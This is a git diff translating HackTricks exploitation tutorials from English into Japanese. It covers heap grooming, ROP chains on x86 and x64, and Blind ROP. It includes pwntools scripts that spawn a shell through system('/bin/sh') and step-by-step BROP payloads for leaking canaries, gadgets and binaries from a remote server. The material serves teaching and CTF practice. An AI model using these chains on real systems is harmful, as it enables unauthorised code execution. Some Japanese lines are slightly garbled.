- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache). - 攻撃は、ート情報サイズよりも大きなmalloc内容を持つ2つのートnote0とnote1を作成し、それらを解放してファストビンまたはtcacheに入れることです。
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer. - 次に、内容サイズ8の別のートnote2を作成します。内容はnote1にあり、チャンクが再利用されるため、関数ポインタをwin関数を指すように変更し、その後note1をUse-After-Freeして新しい関数ポインタを呼び出します。
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag. - メモリを割り当て、希望の値を書き込み、それを解放し、再割り当てすることが可能で、以前のデータがまだそこにあるため、チャンク内の新しい期待される構造に従って処理され、値を設定してフラグを取得することが可能になります。
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it. - この場合、特定のチャンク内に4を書き込む必要があります。これは最初に割り当てられるものですべてを強制的に解放した後でも、新しく割り当てられる各チャンクの配列インデックス内の番号が保存されます。次に、4つのチャンク最初に割り当てられたものを含むを割り当て、最後のものには4が含まれ、これらを解放し、最初のものの再割り当てを強制します。これにより、最後に解放されたチャンクが使用され、その中に4が含まれます。

View File

@ -2,45 +2,44 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## **Basic Information** ## **基本情報**
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections. **Return-Oriented Programming (ROP)** は、**No-Execute (NX)** や **Data Execution Prevention (DEP)** のようなセキュリティ対策を回避するために使用される高度なエクスプロイト技術です。攻撃者は、シェルコードを注入して実行するのではなく、バイナリやロードされたライブラリに既に存在するコードの断片、いわゆる **"gadgets"** を利用します。各ガジェットは通常 `ret` 命令で終わり、レジスタ間でデータを移動したり、算術演算を行ったりする小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護を効果的に回避できます。
### How ROP Works ### ROPの動作
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack. 1. **制御フローのハイジャック**: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用して、スタック上の保存された戻りアドレスを上書きします。
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations. 2. **ガジェットの連鎖**: 次に、攻撃者は慎重にガジェットを選択し、目的のアクションを実行するために連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: `system("/bin/sh")`)、必要なクリーンアップや追加の操作を処理することが含まれます。
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets. 3. **ペイロードの実行**: 脆弱な関数が戻ると、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。
### Tools ### ツール
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). 通常、ガジェットは [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper) または **pwntools** から直接見つけることができます ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))。
## ROP Chain in x86 Example ## x86におけるROPチェーンの例
### **x86 (32-bit) Calling conventions** ### **x86 (32ビット) 呼び出し規約**
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.** - **cdecl**: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。**引数は右から左にスタックにプッシュされます。**
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack. - **stdcall**: cdeclに似ていますが、呼び出し先がスタックのクリーンアップを担当します。
### **Finding Gadgets** ### **ガジェットの発見**
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are: まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定します。私たちが興味を持っているガジェットは次のとおりです:
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`. - `pop eax; ret`: このガジェットはスタックのトップ値を `EAX` レジスタにポップし、その後戻ります。これにより `EAX` を制御できます。
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`. - `pop ebx; ret`: 上記と同様ですが、`EBX` レジスタ用で、`EBX` を制御できるようにします。
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**. - `mov [ebx], eax; ret`: `EAX` の値を `EBX` が指すメモリ位置に移動し、その後戻ります。これはしばしば **write-what-where gadget** と呼ばれます。
- Additionally, we have the address of the `system()` function available. - さらに、`system()` 関数のアドレスも利用可能です。
### **ROP Chain** ### **ROPチェーン**
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with: **pwntools** を使用して、次のように `system('/bin/sh')` を実行するためにROPチェーンの実行のためにスタックを準備します。チェーンは次のように始まります
1. A `ret` instruction for alignment purposes (optional)
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
3. Placeholder for the return address from `system()`
4. `"/bin/sh"` string address (parameter for system function)
1. アライメント目的のための `ret` 命令(オプション)
2. `system` 関数のアドレスASLRが無効で、libcが既知であると仮定、詳細は [**Ret2lib**](ret2lib/) を参照)
3. `system()` からの戻りアドレスのプレースホルダー
4. `"/bin/sh"` 文字列のアドレスsystem関数のパラメータ
```python ```python
from pwn import * from pwn import *
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain # Construct the ROP chain
rop_chain = [ rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
] ]
# Flatten the rop_chain for use # Flatten the rop_chain for use
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## ROP Chain in x64 Example ## ROP Chain in x64 Example
### **x64 (64-bit) Calling conventions** ### **x64 (64-bit) 呼び出し規約**
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`. - **System V AMD64 ABI** 呼び出し規約を Unix 系システムで使用し、**最初の6つの整数またはポインタ引数はレジスタ `RDI`, `RSI`, `RDX`, `RCX`, `R8`, および `R9` に渡されます**。追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`. - **Windows x64** 呼び出し規約は最初の4つの整数またはポインタ引数に `RCX`, `RDX`, `R8`, および `R9` を使用し、追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`. - **レジスタ**: 64ビットレジスタには `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, および `R8` から `R15` までが含まれます。
#### **Finding Gadgets** #### **ガジェットの発見**
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets: 私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェット(**"/bin/sh"** 文字列を **system()** に引数として渡すため)に焦点を当て、次に **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します:
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**. - **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、次に戻ります。**system()** の引数を設定するために不可欠です。
- **ret**: A simple return, useful for stack alignment in some scenarios. - **ret**: 単純なリターンで、いくつかのシナリオでスタックの整列に役立ちます。
And we know the address of the **system()** function. そして、**system()** 関数のアドレスを知っています。
### **ROP Chain** ### **ROP Chain**
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**: 以下は、**pwntools** を使用して **system('/bin/sh')****x64** で実行することを目的とした ROP チェーンを設定し、実行する例です:
```python ```python
from pwn import * from pwn import *
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain # Construct the ROP chain
rop_chain = [ rop_chain = [
ret_gadget, # Alignment gadget, if needed ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here. system_addr # Address of system(). Execution will continue here.
] ]
# Flatten the rop_chain for use # Flatten the rop_chain for use
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
この例では:
In this example: - **`pop rdi; ret`** ガジェットを利用して **`RDI`** を **`"/bin/sh"`** のアドレスに設定します。
- **`RDI`** を設定した後、チェーン内の **system()** のアドレスで **`system()`** に直接ジャンプします。
- ターゲット環境が必要とする場合、**`ret_gadget`** がアライメントのために使用されます。これは、関数を呼び出す前に適切なスタックアライメントを確保するために **x64** でより一般的です。
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**. ### スタックアライメント
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
### Stack Alignment **x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、このアライメントを必要とします。スタックが正しくアライメントされていない場合(つまり **RSP** が16の倍数でない場合、**ROPチェーン** での **system** などの関数への呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain. ## x86とx64の主な違い
## x86 vs x64 main difference
> [!TIP] > [!TIP]
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). > **x64は最初のいくつかの引数にレジスタを使用するため、** 簡単な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数が増え、アドレス空間が大きくなることは、特にリターン指向プログラミングROPの文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。
## ROP chain in ARM64 Example ## ARM64のROPチェーンの例
### **ARM64 Basics & Calling conventions** ### **ARM64の基本と呼び出し規約**
Check the following page for this information: この情報については、以下のページを確認してください:
{{#ref}} {{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Protections Against ROP ## ROPに対する保護
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): これらの保護は、ガジェットのアドレスが実行間で変わるため、ROPの使用を困難にします。
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain - [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/): BOFの場合、ROPチェーンを悪用するためにリターンポインタを上書きするためにスタックカナリアをバイパスする必要があります。
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain. - **ガジェットの不足**: ガジェットが十分でない場合、ROPチェーンを生成することは不可能です。
## ROP based techniques ## ROPベースの技術
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed: ROPは任意のコードを実行するための技術に過ぎないことに注意してください。ROPに基づいて多くのRet2XXX技術が開発されました
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`. - **Ret2lib**: ROPを使用して、任意のパラメータでロードされたライブラリから任意の関数を呼び出します通常は `system('/bin/sh')` のようなもの)。
{{#ref}} {{#ref}}
ret2lib/ ret2lib/
{{#endref}} {{#endref}}
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands. - **Ret2Syscall**: ROPを使用して、`execve` などのシステムコールを呼び出す準備をし、任意のコマンドを実行させます。
{{#ref}} {{#ref}}
rop-syscall-execv/ rop-syscall-execv/
{{#endref}} {{#endref}}
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP). - **EBP2Ret & EBPチェイニング**: 最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目はRet2libに似ていますが、この場合は主にEBPアドレスでフローが制御されますただしEIPも制御する必要があります
{{#ref}} {{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}} {{#endref}}
## Other Examples & References ## その他の例と参考文献
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag - 64ビット、Pieとnxが有効、カナリアなし、`vsyscall` アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることを唯一の目的とする、フラグを漏洩させる関数の一部を取得するための部分的な上書き
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack - arm64、ASLRなし、スタックを実行可能にし、スタック内のシェルコードにジャンプするためのROPガジェット
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,123 +2,123 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\ この攻撃の目的は、**脆弱なバイナリに関する情報がなくてもバッファオーバーフローを介してROPを悪用できるようにすること**です。\
This attack is based on the following scenario: この攻撃は以下のシナリオに基づいています:
- A stack vulnerability and knowledge of how to trigger it. - スタックの脆弱性とそれをトリガーする方法の知識。
- A server application that restarts after a crash. - クラッシュ後に再起動するサーバーアプリケーション。
## Attack ## 攻撃
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected ### **1. 脆弱なオフセットを見つける** サーバーの異常が検出されるまで1文字追加で送信する
### **2. Brute-force canary** to leak it ### **2. カナリアをブルートフォース** して漏洩させる
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them ### **3. スタック内の保存されたRBPとRIP** アドレスをブルートフォースして漏洩させる
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). これらのプロセスに関する詳細情報は、[こちら (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)と[こちら (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)で見つけることができます。
### **4. Find the stop gadget** ### **4. 停止ガジェットを見つける**
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed このガジェットは基本的に、ROPガジェットによって何か興味深いことが実行されたことを確認するためのもので、実行がクラッシュしなかったことを示します。通常、このガジェットは**実行を停止する**もので、特定のROPガジェットが実行されたことを確認するためにROPチェーンの最後に配置されます。
### **5. Find BROP gadget** ### **5. BROPガジェットを見つける**
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**: この技術は[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、いくつかの命令の途中でこのガジェットにアクセスすると、**`rsi`**と**`rdi`**を制御するガジェットが得られるためです:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
These would be the gadgets: これらがガジェットです:
- `pop rsi; pop r15; ret` - `pop rsi; pop r15; ret`
- `pop rdi; ret` - `pop rdi; ret`
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call. これらのガジェットを使用すると、関数を呼び出すための**2つの引数を制御する**ことが可能であることに注意してください。
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like: また、ret2csuガジェットは**非常にユニークなシグネチャ**を持っているため、スタックから6つのレジスタをポップすることになります。したがって、次のようなチェーンを送信します
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address. **STOPが実行される**場合、これは基本的に**スタックから6つのレジスタをポップするアドレス**が使用されたことを意味します。または、使用されたアドレスもSTOPアドレスであったことを意味します。
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers: この最後のオプションを**排除するために**、次のような新しいチェーンが実行され、前のものが6つのレジスタをポップしたことを確認するためにSTOPガジェットを実行してはなりません
`'A' * offset + canary + rbp + ADDR` `'A' * offset + canary + rbp + ADDR`
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**. ret2csuガジェットのアドレスを知っていると、**`rsi``rdi`を制御するガジェットのアドレスを推測する**ことが可能です。
### 6. Find PLT ### 6. PLTを見つける
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed. PLTテーブルは0x400000から、またはスタックからの**漏洩したRIPアドレス**から検索できます(**PIE**が使用されている場合)。テーブルの**エントリ**は**16B**0x10Bで**区切られており**、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、**PLTのエントリのアドレス + 6Bもクラッシュしません**。これは最初に実行されるコードです。
Therefore, it's possible to find the PLT table checking the following behaviours: したがって、次の動作を確認することでPLTテーブルを見つけることができます
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash - `'A' * offset + canary + rbp + ADDR + STOP` -> クラッシュしない
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash - `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> クラッシュしない
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash - `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> クラッシュしない
### 7. Finding strcmp ### 7. strcmpを見つける
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program. **`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後でプログラムを漏洩させるために**0より大きくする必要があります**。
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions: 次のように、関数の最初の2つの引数を制御できる事実を利用して、PLT内の**`strcmp`**の位置を見つけることができます:
- strcmp(\<non read addr>, \<non read addr>) -> crash - strcmp(\<非読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
- strcmp(\<non read addr>, \<read addr>) -> crash - strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
- strcmp(\<read addr>, \<non read addr>) -> crash - strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
- strcmp(\<read addr>, \<read addr>) -> no crash - strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one: これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリを呼び出し + 0xb****`dlresolve`**を呼び出す)し、スタックに**調査したいエントリ番号**ゼロから始まるを続けて、最初のエントリからすべてのPLTエントリをスキャンします
- strcmp(\<non read addr>, \<read addr>) -> crash - strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュする
- strcmp(\<read addr>, \<non read addr>) -> crash - strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> no crash - strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Remember that: 覚えておいてください:
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`** - BROP + 0x7は**`pop RSI; pop R15; ret;`**を指します
- BROP + 0x9 point to **`pop RDI; ret;`** - BROP + 0x9は**`pop RDI; ret;`**を指します
- PLT + 0xb point to a call to **dl_resolve**. - PLT + 0xbは**dl_resolve**への呼び出しを指します。
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0. `strcmp`を見つけることで、**`rdx`**を0より大きい値に設定することが可能です。
> [!TIP] > [!TIP]
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary. > 通常、`rdx`にはすでに0より大きい値が格納されているため、このステップは必要ないかもしれません。
### 8. Finding Write or equivalent ### 8. Writeまたは同等のものを見つける
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.** 最後に、バイナリを漏洩させるためにデータを外部に送信するガジェットが必要です。そして、この時点で**2つの引数を制御し、`rdx`を0より大きく設定することが可能です。**
There are 3 common funtions taht could be abused for this: これに悪用できる一般的な関数は3つあります
- `puts(data)` - `puts(data)`
- `dprintf(fd, data)` - `dprintf(fd, data)`
- `write(fd, data, len(data)` - `write(fd, data, len(data))`
However, the original paper only mentions the **`write`** one, so lets talk about it: ただし、元の論文では**`write`**のみが言及されているため、これについて話しましょう:
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**. 現在の問題は、**PLT内のwrite関数がどこにあるか**がわからず、**データをソケットに送信するためのfd番号がわからない**ことです。
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections. しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。また、サーバーとの**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続と一致することを期待できます。
Behaviour signatures to find those functions: これらの関数を見つけるための動作シグネチャ:
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found - `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷される場合、putsが見つかりました
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found - `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷される場合、dprintfが見つかりました
